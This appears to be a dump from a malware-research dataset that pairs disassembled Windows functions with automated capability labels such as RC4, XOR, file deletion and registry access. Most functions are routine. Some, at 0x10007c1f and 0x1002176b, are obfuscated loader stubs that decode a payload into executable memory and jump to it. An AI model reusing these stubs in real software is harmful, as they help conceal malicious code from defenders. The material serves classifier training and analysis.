joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49c360
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x7e24f8]
xor edx, edx
cmp eax, edx
jne 0x49c386
xor eax, eax
mov byte [eax + 0x7e23f8], al
inc eax
cmp eax, 0x100
jl 0x49c36e
mov dword [0x7e24f8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x7e23f8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x49c417
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x49c3ea
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x49c3b8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x49c420
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x49c473
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x49c45a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4a2e20
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d1f9e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004a3740
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x78005c
call fcn.004c256f
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4a2eb3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004c256f
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4a2eac
push 0
mov ecx, eax
call fcn.00499f90
mov dword [esi + 0xc], eax
jmp 0x4a2eb5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4a2eb5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4c4bd5
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4c4c0d
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004c2c89
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004c2c61
jmp 0x4c4c19
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4c62c8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4c630a
call fcn.004cbf43
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4c630a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4c6301
xor eax, eax
jmp 0x4c6312
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004c6318
pop edi
pop esi
pop ebx
ret 4

Function at 0x4cc473
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4cc4a1
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4cc4bf
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004cc3d9
jmp 0x4cc4bf
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4cc4bf
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004cc3d9
test edi, edi
mov eax, edi
jne 0x4cc4a9
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10007c2e
pop dword [ebp - 0x50]
mov eax, 0x8ab21667
sub eax, 0x7ab19a39
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x66450b95
sub dword [ebp - 0x60], 0x17f2c64a
mov dword [ebp - 0x5c], 0xdbf61e8e
add dword [ebp - 0x5c], 0x563d2db7
mov dword [ebp - 0x58], 0x519956a0
sub dword [ebp - 0x58], 0x54d1272
mov dword [ebp - 0x54], 0xf0017572
add dword [ebp - 0x54], 0xffe8a8e
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xe8736b7f
sub dword [ebp - 0x60], 0x74010229
mov dword [ebp - 0x5c], 0xfa4d21b7
add dword [ebp - 0x5c], 0x471f3fbe
mov dword [ebp - 0x58], 0x5c319a31
add dword [ebp - 0x58], 0x73dd23b
mov dword [ebp - 0x54], 0xbcd16bb0
sub dword [ebp - 0x54], 0xbcd16bb0
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xb47a68ba
add eax, 0x5b861796
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x332e6
push 0
call eax
mov ecx, 0x3a0e
mov esi, eax
mov edi, 0xcd44e952
sub edi, 0xbd43ef52
add edi, dword [ebp - 0x50]
mov ebx, 0x28f5422
add dword [ebp - 0x30], 0x7f423781
mov edx, dword [edi]
sub dword [ebp - 0x14], 0xa6a4bbbd
sub edx, ebx
xor dword [ebp - 0x2c], 0x2ff0ff37
mov dword [esi], edx
xor dword [ebp - 8], ecx
add esi, 4
add edi, 0xdaaa3986
sub edi, 0xdaaa3982
loop 0x10007d3f
add eax, 0x51ab92f5
sub eax, 0x51aab7ea
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x50b9b138
sub ecx, 0x40b9b138
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1001c6a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001c73b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001c6f2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001c6f2
cmp esi, ebx
jge 0x1001c6f2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001c735
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001c735
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e4]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e4]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001c74d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x1001c970
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
mov eax, dword [ebp + 8]
je 0x1001c998
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001c9b2
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.1002176b
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022650
leave
ret 4

Function at 0x1001cb80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001cbb6
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cc15
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.1002176b
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.1002176b
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.1002176b
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022650
leave
ret 0x10
Function at 0x1001cc30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001cc5c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001cc8d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001cc8b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.1002176b
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001cc8d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022650
leave
ret 8

Function at 0x1002176b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1002177a
pop dword [ebp - 0x28]
mov eax, 0x1002177a
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xa183eac8
add dword [ebp - 0x38], 0xacce5a83
mov dword [ebp - 0x34], 0x67b7f0fe
sub dword [ebp - 0x34], 0x3584a4b9
mov dword [ebp - 0x30], 0x9c153726
sub dword [ebp - 0x30], 0x4fc8f2f8
mov dword [ebp - 0x2c], 0x118002d0
add dword [ebp - 0x2c], 0xee7ffd30
lea eax, [ebp - 0x38]
push eax
mov eax, 0xc855999b
sub eax, 0xb8534917
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x3c44e7a
sub dword [ebp - 0x38], 0x8f51e524
mov dword [ebp - 0x34], 0xba004e13
sub dword [ebp - 0x34], 0x7893ec9e
mov dword [ebp - 0x30], 0x8d54af18
add dword [ebp - 0x30], 0xd61abd54
mov dword [ebp - 0x2c], 0xb78ef115
add dword [ebp - 0x2c], 0x48710eeb
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xa82338ab
add eax, 0x67df17d1
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3e259
push 0
call eax
mov ecx, 0x52f6
xor ebx, ebx
add ebx, eax
mov edi, 0x9ecfca51
sub edi, 0x8eccbe51
add edi, dword [ebp - 0x28]
mov edx, 0xd498fbff
sub edx, 0x7bed430d
mov dword [ebp - 0x24], 0x71b367c5
mov esi, dword [edi]
xor dword [ebp - 0x10], 0xeacc64a8
xor esi, edx
add dword [ebp - 0xc], 0xf773c603
mov dword [ebx], esi
sub dword [ebp - 0xc], 0xc13eb8d2
add ebx, 0x350ac48
sub ebx, 0x350ac44
add edi, 0x4056e3c6
add edi, 0xbfa91c3e
loop 0x10021893
add eax, 0x13eab
mov ebx, eax
add eax, 5
mov ecx, 0x4e4851b9
add ecx, 0xc1b7ae47
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10007c2e
pop dword [ebp - 0x50]
mov eax, 0x328a5e95
sub eax, 0x2289e267
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x3d3ffa61
sub dword [ebp - 0x60], 0xeeedb516
mov dword [ebp - 0x5c], 0x15167d60
sub dword [ebp - 0x5c], 0xe2e3311b
mov dword [ebp - 0x58], 0x7a566e7f
sub dword [ebp - 0x58], 0x2e0a2a51
mov dword [ebp - 0x54], 0xe5f3043c
add dword [ebp - 0x54], 0x1a0cfbc4
lea eax, [ebp - 0x60]
push eax
mov eax, 0xd87f8a4e
add eax, 0x3780f606
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x88cf1f07
add dword [ebp - 0x60], 0xeba34a4f
mov dword [ebp - 0x5c], 0x9c67efc6
add dword [ebp - 0x5c], 0xa50471af
mov dword [ebp - 0x58], 0xeaa83dff
add dword [ebp - 0x58], 0x78c72e6d
mov dword [ebp - 0x54], 0x70c143cc
add dword [ebp - 0x54], 0x8f3ebc34
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x343b2
push 0
call eax
mov ecx, 0x31d7611e
add ecx, 0xce28dd23
mov ebx, eax
mov esi, 0xd19032b6
sub esi, 0xc18f38b6
add esi, dword [ebp - 0x50]
mov edi, 0x95824eda
add edi, 0x7a7f2010
xor dword [ebp - 0x38], ecx
mov edx, dword [esi]
sub dword [ebp - 0x28], esi
add edx, edi
mov dword [ebx], edx
sub dword [ebp - 0xc], 0x10efff47
add ebx, 4
add esi, 0x36067846
add esi, 0xc9f987be
loop 0x10007d4b
add eax, 0xebd7
xor ebx, ebx
add ebx, eax
add eax, 0x38035f8
sub eax, 0x38035f3
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x402a3d
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42e470]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402ad1
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402a8e
cmp dword [ebp + 0x10], ebx
jne 0x402ac5
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402a3d
test eax, eax
jne 0x402aa0
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402a75
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.00405f14
cmp eax, ebx
je 0x402ad8
push ebx
push dword [0x42e470]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402ad1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42e470], ebx
jne 0x402ace
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402ace
jmp 0x402ad1
Function at 0x405398
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x42b048], 0x44
push eax
xor eax, eax
push 0x42b048
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4053d7
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405461
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405855
mov edi, eax
cmp edi, 0xffffffff
je 0x4054a2
test byte [esp + 0x10], 1
push esi
je 0x405484
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x40548a
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x405493
xor eax, eax
inc eax
jmp 0x4054a4
test byte [esp + 0x10], 4
jne 0x4054a2
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x4054a9
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405767
test bl, 8
mov dword [ebp - 0xc], eax
je 0x4054e8
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x42e448], eax
jmp 0x405672
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x405502
test eax, eax
je 0x405620
test bl, 2
je 0x405620
mov esi, 0x42a848
push edi
push esi
call fcn.00405be9
cmp dword [ebp + 8], 0
je 0x405521
push 0x40937c
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x405527
push edi
call fcn.004056c0
cmp byte [edi], 0
jne 0x405535
cmp byte [0x42a848], 0x5c
jne 0x405540
push 0x409014
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x14c]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x405616
lea eax, [ebp - 0x120]
push 0x3f
push eax
lea esi, [ebp - 0x120]
call fcn.004056a4
cmp byte [eax], 0
je 0x405586
cmp byte [ebp - 0x1c], 0
je 0x405586
lea esi, [ebp - 0x1c]
cmp byte [esi], 0x2e
jne 0x40559c
mov al, byte [esi + 1]
test al, al
je 0x4055f5
cmp al, 0x2e
jne 0x40559c
cmp byte [esi + 2], 0
je 0x4055f5
push esi
push ebx
call fcn.00405be9
test byte [ebp - 0x14c], 0x10
je 0x4055c1
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4055f5
push dword [ebp + 0xc]
push edi
call fcn.004054a9
jmp 0x4055f5
push dword [ebp - 4]
push edi
call fcn.00405461
test eax, eax
jne 0x4055ed
cmp dword [ebp - 4], eax
je 0x4055e5
push edi
push 0xfffffffffffffff1
call fcn.00404ed2
push 0
push edi
call fcn.00405a9d
jmp 0x4055f5
inc dword [0x42e448]
jmp 0x4055f5
push edi
push 0xfffffffffffffff2
call fcn.00404ed2
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405564
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405620
and byte [ebx - 1], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405672
cmp dword [ebp - 0xc], esi
jne 0x405634
inc dword [0x42e448]
jmp 0x405672
push edi
call fcn.00405eed
test eax, eax
je 0x405672
push edi
call fcn.00405679
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00405461
test eax, eax
jne 0x40566a
cmp dword [ebp - 4], esi
je 0x40562c
push edi
push 0xfffffffffffffff1
call fcn.00404ed2
push esi
push edi
call fcn.00405a9d
jmp 0x405672
push edi
push 0xffffffffffffffe5
call fcn.00404ed2
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x405767
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42ac48
push esi
call fcn.00405be9
push esi
call fcn.00405712
mov edi, eax
test edi, edi
jne 0x405788
xor eax, eax
jmp 0x4057da
push edi
call fcn.00405e54
test byte [0x42e3d8], 0x80
je 0x4057a1
mov al, byte [edi]
test al, al
je 0x405784
cmp al, 0x5c
je 0x405784
sub edi, esi
jmp 0x4057b9
call fcn.00405eed
test eax, eax
je 0x4057b3
test byte [eax], 0x10
je 0x405784
push esi
call fcn.004056c0
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x4057a5
call fcn.00405679
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405855
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405874
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop esi
ret 4

Function at 0x40587a
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x4058a9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x409384]
dec edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4058ee
test edi, edi
jne 0x4058b4
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x4058e8
Function at 0x405921
Capabilities:
Get file size
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, 0x42b5d0
push 0x4093a0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test esi, esi
mov ebx, 0x400
je 0x405970
push 1
push 0
push esi
call fcn.0040587a
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push edi
push esi
call ebp
test eax, eax
je 0x405a97
cmp eax, ebx
jg 0x405a97
mov esi, 0x42b9d0
push ebx
push esi
push dword [esp + 0x20]
call ebp
test eax, eax
je 0x405a97
cmp eax, ebx
jg 0x405a97
push esi
push edi
push str._s_s_r_n
push 0x42b1d0
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x42e3d0]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00405c0b
push 4
push 0xc0000000
push esi
call fcn.0040587a
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x1c], ebp
je 0x405a97
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405a90
push edi
push esi
push ebp
call fcn.004058f2
test eax, eax
je 0x405a90
push str._Rename__r_n
push esi
call fcn.004057df
test eax, eax
jne 0x405a26
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x405a5b
add eax, 0xa
push 0x409388
push eax
call fcn.004057df
mov ebp, eax
test ebp, ebp
je 0x405a57
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x405a48
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x405a42
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x1c]
jmp 0x405a5d
mov ebp, dword [esp + 0x1c]
mov eax, edi
push ebx
add eax, esi
push 0x42b1d0
push eax
call fcn.00405835
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x10]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x405ad0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
mov esi, dword [ebp + 0x14]
and eax, 0x100
or eax, 0x20019
mov byte [esi], bl
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405b41
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x400
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405b30
cmp dword [ebp + 0x14], 1
je 0x405b32
cmp dword [ebp + 0x14], 2
je 0x405b32
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x405f86
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42bdd4], 0
push esi
jne 0x405fbd
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f97
mov dword [ecx*4 + 0x42bdd0], eax
inc ecx
cmp ecx, 0x100
jl 0x405f92
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405fee
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42bdd0]
xor eax, esi
inc ecx
dec edx
jne 0x405fd0
pop edi
not eax
pop esi
ret 0xc

Function at 0x401225
Capabilities:
Encode data using xor

Disassembly:
pushal
xor ecx, ecx
add ecx, 0x1000
mov dl, byte [ecx + edi - 1]
rol dl, 1
xor dl, 0x7e
mov byte [ecx + edi - 1], dl
dec ecx
cmp ecx, 0
jne 0x40122e
popal
ret